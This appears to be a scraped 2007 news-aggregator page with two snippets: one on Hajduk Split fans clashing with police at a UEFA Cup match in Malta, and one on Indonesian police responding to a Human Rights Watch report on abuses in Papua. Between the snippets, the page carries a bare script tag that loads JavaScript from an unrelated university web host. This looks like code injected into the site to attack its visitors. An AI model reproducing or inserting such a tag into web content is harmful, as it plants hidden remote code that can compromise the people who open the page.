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NEWS > 06 July 2007

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Croatia: Police officer invest
Photos of the clashes between Croatian fans and local police during the UEFA Cup match between Birkirkara and Hajduk Split are surfacing on the net, eased by the electronic communication of the internet era.Some of the photos show the police attempting to bring the situation under control and trying to apprehend those persons who were causing the crowd trouble.

The incidents broke out after shortly after Hajduk’s second goal, when celebrating fans set fire to some plastic seats at the National Stadium in Ta’ Qali.

A police spokesman told www.di-ve.com that the Hajduk Split ... Read more

 Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
ABC Online, Australia
06 July 2007
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Indonesian police to address H

Indonesian police say they will investigate claims its forces have routinely abused people in the central highlands of Papua.

In a report released yesterday, Human Rights Watch (HRW) accused mobile police brigades of commonly using "excessive, brutal and, at times, lethal force" against civilians.

The report points out only one member of the security forces has faced prosecution over the alleged abuses which include rape, murder and torture.

Indonesia's police chief says he will verify the contents of the report and address any outstanding issues.

A long-running but low-level separatist movement has simmered in the region since the 1960s and the Indonesian government does not permit journalists or rights workers to travel there without special permission.

The HRW report found that Indonesia's feared paramilitary Brimob were responsible for the most serious violations, although some reports of brutal treatment by Indonesian soldiers persisted.

Indonesia's military has for decades been accused by Papuans of committing human rights abuses in the isolated, resource-rich region, but the police have been gradually taking on more of their former security role.

 

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